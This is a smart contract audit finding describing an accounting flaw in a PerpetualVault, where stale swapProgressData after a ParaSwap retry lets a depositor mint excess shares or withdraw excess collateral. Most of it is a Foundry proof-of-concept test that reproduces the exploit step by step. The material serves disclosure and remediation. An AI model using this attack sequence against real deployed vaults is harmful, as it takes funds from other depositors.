Impact: high, as user funds are directly at risk.
Likelihood: medium, as this requires a specific sequence of calls made by the keeper (given lack of access to the off-chain script it is difficult to assess this). If the sequence of calls detailed below is expected, then the finding should be upgraded to High severity.
This scenario may occur during a deposit flow on 1X leverage vault. On PerpetualVault:985, the swapProgressData.swapped is increased. There is a possible situation where the second swap (which must be GMX) fails. It is possible then that a retry is performed using ParaSwap instead. It is not known whether the retry using ParaSwap is possible behavior of the off-chain script, however it is not unreasonable to think this feature would exist (or could exist in future versions of the script). An attacker could also attempt to force this behavior via front-running the GMX order or price manipulation, causing the order to fail. Successful execution of the swap on ParaSwap will lead to PerpetualVault:1005 being executed which mints shares to the depositor but does not delete the swapProgressData. Consequently this would allow a user to deposit again however they will be minted extra shares. Additionally, if the attacker decided to withdraw again instead of depositing, then could potentially receive additional collateral tokens (please refer to the POC below).
function test_exploitSwapProgressData() external {
address keeper = PerpetualVault(vault).keeper();
IERC20 collateralToken = PerpetualVault(vault).collateralToken();
IERC20 indexToken = IERC20(PerpetualVault(vault).indexToken());
vm.prank(PerpetualVault(vault).owner());
PerpetualVault(vault).setLockTime(1);
address alice = makeAddr("alice");
vm.startPrank(alice);
collateralToken.approve(vault, type(uint256).max);
deal(address(collateralToken), alice, 1e18 * 100);
vm.deal(alice, 100000 ether);
uint256 executionFee = PerpetualVault(vault).getExecutionGasLimit(true);
PerpetualVault(vault).deposit{value: executionFee * tx.gasprice}(1e10);
vm.stopPrank();
MarketPrices memory prices = mockData.getMarketPrices();
bytes memory paraSwapData = mockData.getParaSwapData(vault);
bytes[] memory swapData = new bytes[](1);
swapData[0] = abi.encode(PROTOCOL.DEX, paraSwapData);
vm.prank(keeper);
PerpetualVault(vault).run(true, true, prices, swapData);
executionFee = PerpetualVault(vault).getExecutionGasLimit(true);
vm.prank(alice);
PerpetualVault(vault).deposit{value: executionFee * tx.gasprice}(2e10);
assertEq(uint256(PerpetualVault(vault).flow()), uint256(PerpetualVault.FLOW.DEPOSIT), "In deposit flow");
(PerpetualVault.NextActionSelector nextActionSelector,) = PerpetualVault(vault).nextAction();
assertEq(uint256(nextActionSelector), uint256(PerpetualVault.NextActionSelector.INCREASE_ACTION), "In increase action state");
prices = mockData.getMarketPrices();
swapData = new bytes[](2);
paraSwapData = mockData.getParaSwapData(vault);
swapData[0] = abi.encode(PROTOCOL.DEX, paraSwapData);
address[] memory gmxPath = new address[](1);
gmxPath[0] = address(0x70d95587d40A2caf56bd97485aB3Eec10Bee6336);
uint256 minOutputAmount = 1e10 * prices.shortTokenPrice.min / prices.longTokenPrice.min;
swapData[1] = abi.encode(PROTOCOL.GMX, abi.encode(gmxPath, 1e10, minOutputAmount));
uint256 indexTokenBeforeSecondParaSwap = indexToken.balanceOf(vault);
vm.prank(keeper);
PerpetualVault(vault).runNextAction(prices, swapData);
GmxOrderExecuted(false);
uint256 indexTokenAfterSecondParaSwap = indexToken.balanceOf(vault);
uint256 swapProgressDataSwapped = indexTokenAfterSecondParaSwap - indexTokenBeforeSecondParaSwap;
assertEq(uint256(PerpetualVault(vault).flow()), uint256(PerpetualVault.FLOW.DEPOSIT), "Still in deposit flow");
(nextActionSelector,) = PerpetualVault(vault).nextAction();
assertEq(uint256(nextActionSelector), uint256(PerpetualVault.NextActionSelector.SWAP_ACTION), "Next action is swap (retry)");
prices = mockData.getMarketPrices();
paraSwapData = mockData.getParaSwapData(vault);
swapData = new bytes[](1);
swapData[0] = abi.encode(PROTOCOL.DEX, paraSwapData);
vm.prank(keeper);
PerpetualVault(vault).runNextAction(prices, swapData);
assertEq(uint256(PerpetualVault(vault).flow()), uint256(PerpetualVault.FLOW.DEPOSIT), "Still in deposit flow");
(nextActionSelector,) = PerpetualVault(vault).nextAction();
assertEq(uint256(nextActionSelector), uint256(PerpetualVault.NextActionSelector.NO_ACTION), "Action is deleted");
vm.expectRevert(Error.InvalidCall.selector);
vm.prank(keeper);
PerpetualVault(vault).runNextAction(prices, swapData);
vm.expectRevert(Error.FlowInProgress.selector);
vm.prank(alice);
PerpetualVault(vault).deposit{value: executionFee * tx.gasprice}(2e10);
vm.expectRevert(Error.FlowInProgress.selector);
vm.prank(keeper);
PerpetualVault(vault).run(true, true, prices, swapData);
vm.expectRevert();
vm.prank(keeper);
PerpetualVault(vault).cancelFlow();
PerpetualVault.Action memory noAction;
vm.prank(PerpetualVault(vault).owner());
PerpetualVault(vault).setVaultState(
PerpetualVault.FLOW.NONE,
0,
PerpetualVault(vault).beenLong(),
PerpetualVault(vault).curPositionKey(),
PerpetualVault(vault).positionIsClosed(),
PerpetualVault(vault).isLock(),
noAction
);
bool depositAgain = vm.envBool("DEPOSIT_AGAIN");
if (depositAgain) {
executionFee = PerpetualVault(vault).getExecutionGasLimit(true);
vm.prank(alice);
PerpetualVault(vault).deposit{value: executionFee * tx.gasprice}(1e10);
uint256 totalIndexTokenBefore = indexToken.balanceOf(vault);
uint256 totalSharesBefore = PerpetualVault(vault).totalShares();
prices = mockData.getMarketPrices();
swapData = new bytes[](1);
gmxPath[0] = address(0x70d95587d40A2caf56bd97485aB3Eec10Bee6336);
minOutputAmount = 1e10 * prices.shortTokenPrice.min / prices.longTokenPrice.min * 95 / 100;
swapData[0] = abi.encode(PROTOCOL.GMX, abi.encode(gmxPath, 1e10, minOutputAmount));
vm.prank(keeper);
PerpetualVault(vault).runNextAction(prices, swapData);
GmxOrderExecuted(true);
uint256 totalIndexTokenAfter = indexToken.balanceOf(vault);
uint256 aliceExpectedShares = (totalIndexTokenAfter - totalIndexTokenBefore) * totalSharesBefore / totalIndexTokenBefore;
(, uint256 aliceActualShares,,,,) = PerpetualVault(vault).depositInfo(3);
assertEq(aliceActualShares, aliceExpectedShares, "Alice should be minted expected shares");
} else {
vm.warp(block.timestamp + PerpetualVault(vault).lockTime() + 1);
executionFee = PerpetualVault(vault).getExecutionGasLimit(true);
vm.prank(alice);
PerpetualVault(vault).withdraw{value: executionFee * tx.gasprice}(alice, 1);
deal(address(collateralToken), vault, swapProgressDataSwapped + collateralToken.balanceOf(vault));
uint256 aliceBalancePriorToRunNext = collateralToken.balanceOf(alice);
prices = mockData.getMarketPrices();
swapData = new bytes[](1);
gmxPath[0] = address(0x70d95587d40A2caf56bd97485aB3Eec10Bee6336);
(,uint256 deposit1Shares,,,,) = PerpetualVault(vault).depositInfo(1);
uint256 swapAmount = deposit1Shares * indexToken.balanceOf(vault) / PerpetualVault(vault).totalShares();
minOutputAmount = swapAmount * prices.longTokenPrice.min / prices.shortTokenPrice.min * 95 / 100;
swapData[0] = abi.encode(PROTOCOL.GMX, abi.encode(gmxPath, swapAmount, minOutputAmount));
vm.prank(keeper);
PerpetualVault(vault).runNextAction(prices, swapData);
GmxOrderExecuted(true);
emit log_named_uint("Alice balance increase", collateralToken.balanceOf(alice) - aliceBalancePriorToRunNext);
}
}
The main impact is that an attacker can receive a larger amount of shares than they should when depositing. After the lock up period the attacker can of course withdraw a larger value than what they deposited. This leads to direct loss of funds for other depositors.